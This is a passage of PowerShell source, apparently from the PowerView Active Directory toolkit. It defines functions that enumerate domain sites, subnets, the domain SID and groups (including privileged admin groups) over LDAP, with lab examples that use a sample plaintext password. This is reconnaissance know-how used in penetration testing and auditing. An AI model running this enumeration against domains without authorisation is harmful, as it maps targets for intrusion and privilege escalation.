Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER FindOne + +Only return one result object. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER Raw + +Switch. Return raw results instead of translating the fields into a custom PSObject. + +.EXAMPLE + +Get-DomainSite + +Returns the current sites in the domain. + +.EXAMPLE + +Get-DomainSite *admin* -Domain testlab.local + +Returns all sites with "admin" in their name in the testlab.local domain. + +.EXAMPLE + +Get-DomainSite -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272" + +Returns all sites with linked to the specified group policy object. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainSite -Credential $Cred + +.OUTPUTS + +PowerView.Site + +Custom PSObject with translated site property fields. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.Site')] + [CmdletBinding()] + Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] + [String] + [Alias('GUID')] + $GPLink, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw + ) + + BEGIN { + $SearcherArguments = @{ + 'SearchBasePrefix' = 'CN=Sites,CN=Configuration' + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $SiteSearcher = Get-DomainSearcher @SearcherArguments + } + + PROCESS { + if ($SiteSearcher) { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^CN=.*') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { + # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname + # and rebuild the domain searcher + $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + Write-Verbose "[Get-DomainSite] Extracted domain '$IdentityDomain' from '$IdentityInstance'" + $SearcherArguments['Domain'] = $IdentityDomain + $SiteSearcher = Get-DomainSearcher @SearcherArguments + if (-not $SiteSearcher) { + Write-Warning "[Get-DomainSite] Unable to retrieve domain searcher for '$IdentityDomain'" + } + } + } + else { + try { + $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + catch { + $IdentityFilter += "(name=$IdentityInstance)" + } + } + } + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + + if ($PSBoundParameters['GPLink']) { + Write-Verbose "[Get-DomainSite] Searching for sites with $GPLink set in the gpLink property" + $Filter += "(gplink=*$GPLink*)" + } + + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainSite] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + + $SiteSearcher.filter = "(&(objectCategory=site)$Filter)" + Write-Verbose "[Get-DomainSite] Get-DomainSite filter string: $($SiteSearcher.filter)" + + if ($PSBoundParameters['FindOne']) { $Results = $SiteSearcher.FindAll() } + else { $Results = $SiteSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $Site = $_ + } + else { + $Site = Convert-LDAPProperty -Properties $_.Properties + } + $Site.PSObject.TypeNames.Insert(0, 'PowerView.Site') + $Site + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainSite] Error disposing of the Results object" + } + } + $SiteSearcher.dispose() + } + } +} + + +function Get-DomainSubnet { +<# +.SYNOPSIS + +Search for all subnets or specific subnets objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty + +.DESCRIPTION + +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. To only return specific properties, use +"-Properties whencreated,usnchanged,...". By default, all subnet objects for +the current domain are returned. + +.PARAMETER Identity + +An subnet name (e.g. '192.168.50.0/24'), DistinguishedName (e.g. 'CN=192.168.50.0/24,CN=Subnets,CN=Sites,CN=Configuratioiguration,DC=testlab,DC=local'), +or GUID (e.g. c37726ef-2b64-4524-b85b-6a9700c234dd). Wildcards accepted. + +.PARAMETER SiteName + +Only return subnets from the specified SiteName. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER FindOne + +Only return one result object. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER Raw + +Switch. Return raw results instead of translating the fields into a custom PSObject. + +.EXAMPLE + +Get-DomainSubnet + +Returns the current subnets in the domain. + +.EXAMPLE + +Get-DomainSubnet *admin* -Domain testlab.local + +Returns all subnets with "admin" in their name in the testlab.local domain. + +.EXAMPLE + +Get-DomainSubnet -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272" + +Returns all subnets with linked to the specified group policy object. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainSubnet -Credential $Cred + +.OUTPUTS + +PowerView.Subnet + +Custom PSObject with translated subnet property fields. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.Subnet')] + [CmdletBinding()] + Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] + [String] + $SiteName, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw + ) + + BEGIN { + $SearcherArguments = @{ + 'SearchBasePrefix' = 'CN=Subnets,CN=Sites,CN=Configuration' + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $SubnetSearcher = Get-DomainSearcher @SearcherArguments + } + + PROCESS { + if ($SubnetSearcher) { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^CN=.*') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { + # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname + # and rebuild the domain searcher + $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + Write-Verbose "[Get-DomainSubnet] Extracted domain '$IdentityDomain' from '$IdentityInstance'" + $SearcherArguments['Domain'] = $IdentityDomain + $SubnetSearcher = Get-DomainSearcher @SearcherArguments + if (-not $SubnetSearcher) { + Write-Warning "[Get-DomainSubnet] Unable to retrieve domain searcher for '$IdentityDomain'" + } + } + } + else { + try { + $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + catch { + $IdentityFilter += "(name=$IdentityInstance)" + } + } + } + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainSubnet] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + + $SubnetSearcher.filter = "(&(objectCategory=subnet)$Filter)" + Write-Verbose "[Get-DomainSubnet] Get-DomainSubnet filter string: $($SubnetSearcher.filter)" + + if ($PSBoundParameters['FindOne']) { $Results = $SubnetSearcher.FindOne() } + else { $Results = $SubnetSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $Subnet = $_ + } + else { + $Subnet = Convert-LDAPProperty -Properties $_.Properties + } + $Subnet.PSObject.TypeNames.Insert(0, 'PowerView.Subnet') + + if ($PSBoundParameters['SiteName']) { + # have to do the filtering after the LDAP query as LDAP doesn't let you specify + # wildcards for 'siteobject' :( + if ($Subnet.properties -and ($Subnet.properties.siteobject -like "*$SiteName*")) { + $Subnet + } + elseif ($Subnet.siteobject -like "*$SiteName*") { + $Subnet + } + } + else { + $Subnet + } + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainSubnet] Error disposing of the Results object: $_" + } + } + $SubnetSearcher.dispose() + } + } +} + + +function Get-DomainSID { +<# +.SYNOPSIS + +Returns the SID for the current domain or the specified domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer + +.DESCRIPTION + +Returns the SID for the current domain or the specified domain by executing +Get-DomainComputer with the -LDAPFilter set to (userAccountControl:1.2.840.113556.1.4.803:=8192) +to search for domain controllers through LDAP. The SID of the returned domain controller +is then extracted. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainSID + +.EXAMPLE + +Get-DomainSID -Domain testlab.local + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainSID -Credential $Cred + +.OUTPUTS + +String + +A string representing the specified domain SID. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([String])] + [CmdletBinding()] + Param( + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + $SearcherArguments = @{ + 'LDAPFilter' = '(userAccountControl:1.2.840.113556.1.4.803:=8192)' + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + + $DCSID = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1 -ExpandProperty objectsid + + if ($DCSID) { + $DCSID.SubString(0, $DCSID.LastIndexOf('-')) + } + else { + Write-Verbose "[Get-DomainSID] Error extracting domain SID for '$Domain'" + } +} + + +function Get-DomainGroup { +<# +.SYNOPSIS + +Return all groups or specific group objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Get-DomainObject, Convert-ADName, Convert-LDAPProperty + +.DESCRIPTION + +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. To only return specific properties, use +"-Properties samaccountname,usnchanged,...". By default, all group objects for +the current domain are returned. To return the groups a specific user/group is +a part of, use -MemberIdentity X to execute token groups enumeration. + +.PARAMETER Identity + +A SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) +specifying the group to query for. Wildcards accepted. + +.PARAMETER MemberIdentity + +A SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) +specifying the user/group member to query for group membership. + +.PARAMETER AdminCount + +Switch. Return users with '(adminCount=1)' (meaning are/were privileged). + +.PARAMETER GroupScope + +Specifies the scope (DomainLocal, Global, or Universal) of the group(s) to search for. +Also accepts NotDomainLocal, NotGloba, and NotUniversal as negations. + +.PARAMETER GroupProperty + +Specifies a specific property to search for when performing the group search. +Possible values are Security, Distribution, CreatedBySystem, and NotCreatedBySystem. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER FindOne + +Only return one result object. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER Raw + +Switch. Return raw results instead of translating the fields into a custom PSObject. + +.EXAMPLE + +Get-DomainGroup | select samaccountname + +samaccountname +-------------- +WinRMRemoteWMIUsers__ +Administrators +Users +Guests +Print Operators +Backup Operators +... + +.EXAMPLE + +Get-DomainGroup *admin* | select distinguishedname + +distinguishedname +----------------- +CN=Administrators,CN=Builtin,DC=testlab,DC=local +CN=Hyper-V Administrators,CN=Builtin,DC=testlab,DC=local +CN=Schema Admins,CN=Users,DC=testlab,DC=local +CN=Enterprise Admins,CN=Users,DC=testlab,DC=local +CN=Domain Admins,CN=Users,DC=testlab,DC=local +CN=DnsAdmins,CN=Users,DC=testlab,DC=local +CN=Server Admins,CN=Users,DC=testlab,DC=local +CN=Desktop Admins,CN=Users,DC=testlab,DC=local + +.EXAMPLE + +Get-DomainGroup -Properties samaccountname -Identity 'S-1-5-21-890171859-3433809279-3366196753-1117' | fl + +samaccountname +-------------- +Server Admins + +.EXAMPLE + +'CN=Desktop Admins,CN=Users,DC=testlab,DC=local' | Get-DomainGroup -Server primary.testlab.local -Verbose +VERBOSE: Get-DomainSearcher search string: LDAP://DC=testlab,DC=local +VERBOSE: Get-DomainGroup filter string: (&(objectCategory=group)(|(distinguishedname=CN=DesktopAdmins,CN=Users,DC=testlab,DC=local))) + +usncreated : 13245 +grouptype : -2147483646 +samaccounttype : 268435456 +samaccountname : Desktop Admins +whenchanged : 8/10/2016 12:30:30 AM +objectsid : S-1-5-21-890171859-3433809279-3366196753-1118 +objectclass : {top, group} +cn : Desktop Admins +usnchanged : 13255 +dscorepropagationdata : 1/1/1601 12:00:00 AM +name : Desktop Admins +distinguishedname : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +member : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local +whencreated : 8/10/2016 12:29:43 AM +instancetype : 4 +objectguid : f37903ed-b333-49f4-abaa-46c65e9cca71 +objectcategory : CN=Group,CN=Schema,CN=Configuration,DC=testlab,DC=local + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainGroup -Credential $Cred + +.EXAMPLE + +Get-Domain | Select-Object -Expand name +testlab.local + +'DEV\Domain Admins' | Get-DomainGroup -Verbose -Properties distinguishedname +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainGroup] Extracted domain 'dev.testlab.local' from 'DEV\Domain Admins' +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local +VERBOSE: [Get-DomainGroup] filter string: (&(objectCategory=group)(|(samAccountName=Domain Admins))) + +distinguishedname +----------------- +CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local + +.OUTPUTS + +PowerView.Group + +Custom PSObject with translated group property fields. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [OutputType('PowerView.Group')] + [CmdletBinding(DefaultParameterSetName = 'AllowDelegation')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] + [Alias('UserName')] + [String] + $MemberIdentity, + + [Switch] + $AdminCount, + + [ValidateSet('DomainLocal', 'NotDomainLocal', 'Global', 'NotGlobal', 'Universal', 'NotUniversal')] + [Alias('Scope')] + [String] + $GroupScope, + + [ValidateSet('Security', 'Distribution', 'CreatedBySystem', 'NotCreatedBySystem')] + [String] + $GroupProperty, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw + ) + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $GroupSearcher = Get-DomainSearcher @SearcherArguments + } + + PROCESS { + if ($GroupSearcher) { + if ($PSBoundParameters['MemberIdentity']) { + + if ($SearcherArguments['Properties']) { + $OldProperties = $SearcherArguments['Properties'] + } + + $SearcherArguments['Identity'] = $MemberIdentity + $SearcherArguments['Raw'] = $True + + Get-DomainObject @SearcherArguments | ForEach-Object { + # convert the user/group to a directory entry + $ObjectDirectoryEntry = $_.GetDirectoryEntry() + + # cause the cache to calculate the token groups for the user/group + $ObjectDirectoryEntry.RefreshCache('tokenGroups') + + $ObjectDirectoryEntry.TokenGroups | ForEach-Object { + # convert the token group sid + $GroupSid = (New-Object System.Security.Principal.SecurityIdentifier($_,0)).Value + + # ignore the built in groups + if ($GroupSid -notmatch '^S-1-5-32-.*') { + $SearcherArguments['Identity'] = $GroupSid + $SearcherArguments['Raw'] = $False + if ($OldProperties) { $SearcherArguments['Properties'] = $OldProperties } + $Group = Get-DomainObject @SearcherArguments + if ($Group) { + $Group.PSObject.TypeNames.Insert(0, 'PowerView.Group') + $Group + } + } + } + } + } + else { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^S-1-') { + $IdentityFilter += "(objectsid=$IdentityInstance)" + } + elseif ($IdentityInstance -match '^CN=') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { + # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname + # and rebuild the domain searcher + $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + Write-Verbose "[Get-DomainGroup] Extracted domain '$IdentityDomain' from '$IdentityInstance'" + $SearcherArguments['Domain'] = $IdentityDomain + $GroupSearcher = Get-DomainSearcher @SearcherArguments + if (-not $GroupSearcher) { + Write-Warning "[Get-DomainGroup] Unable to retrieve domain searcher for '$IdentityDomain'" + } + } + } + elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { + $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + elseif ($IdentityInstance.Contains('\')) { + $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical + if ($ConvertedIdentityInstance) { + $GroupDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) + $GroupName = $IdentityInstance.Split('\')[1] + $IdentityFilter += "(samAccountName=$GroupName)" + $SearcherArguments['Domain'] = $GroupDomain + Write-Verbose "[Get-DomainGroup] Extracted domain '$GroupDomain' from '$IdentityInstance'" + $GroupSearcher = Get-DomainSearcher @SearcherArguments + } + } + else { + $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance))" + } + } + + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + + if ($PSBoundParameters['AdminCount']) { + Write-Verbose '[Get-DomainGroup] Searching for adminCount=1' + $Filter += '(admincount=1)' + } + if ($PSBoundParameters['GroupScope']) { + $GroupScopeValue = $PSBoundParameters['GroupScope'] + $Filter = Switch ($GroupScopeValue) { + 'DomainLocal' { '(groupType:1.2.840.113556.1.4.803:=4)' } + 'NotDomainLocal' { '(!(groupType:1.2.840.113556.1.4.803:=4))' } + 'Global' { '(groupType:1.2.840.113556.1.4.803:=2)' } + 'NotGlobal' { '(!(groupType:1.2.840.113556.1.4.803:=2))' } + 'Universal' { '(groupType:1.2.840.113556.1.4.803:=8)' } + 'NotUniversal' { '(!(groupType:1.2.840.113556.1.4.803:=8))' } + } + Write-Verbose "[Get-DomainGroup] Searching for group scope '$GroupScopeValue'" + } + if ($PSBoundParameters['GroupProperty']) { + $GroupPropertyValue = $PSBoundParameters['GroupProperty'] + $Filter = Switch ($GroupPropertyValue) { + 'Security' { '(groupType:1.2.840.113556.1.4.803:=2147483648)' } + 'Distribution' { '(!(groupType:1.2.840.113556.1.4.803:=2147483648))' } + 'CreatedBySystem' { '(groupType:1.2.840.113556.1.4.803:=1)' } + 'NotCreatedBySystem' { '(!(groupType:1.2.840.113556.1.4.803:=1))' } + } + Write-Verbose "[Get-DomainGroup] Searching for group property '$GroupPropertyValue'" + } + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainGroup] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + + $GroupSearcher.filter = "(&(objectCategory=group)$Filter)" + Write-Verbose "[Get-DomainGroup] filter string: $($GroupSearcher.filter)" + + if ($PSBoundParameters['FindOne']) { $Results = $GroupSearcher.FindOne() } + else { $Results = $GroupSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $Group = $_ + } + else { + $Group = Convert-LDAPProperty -Properties $_.Properties + } + $Group.PSObject.TypeNames.Insert(0, 'PowerView.Group') + $Group + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainGroup] Error disposing of the Results object" + } + } + $GroupSearcher.dispose() + } + } + } +} + + +function New-DomainGroup { +<# +.SYNOPSIS + +Creates a new domain group (assuming appropriate permissions) and returns the group object. + +TODO: implement all properties that New-ADGroup implements (https://technet.microsoft.com/en-us/library/ee617253.aspx). + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-PrincipalContext + +.DESCRIPTION + +First binds to the specified domain context using Get-PrincipalContext. +The bound domain context is then used to create a new 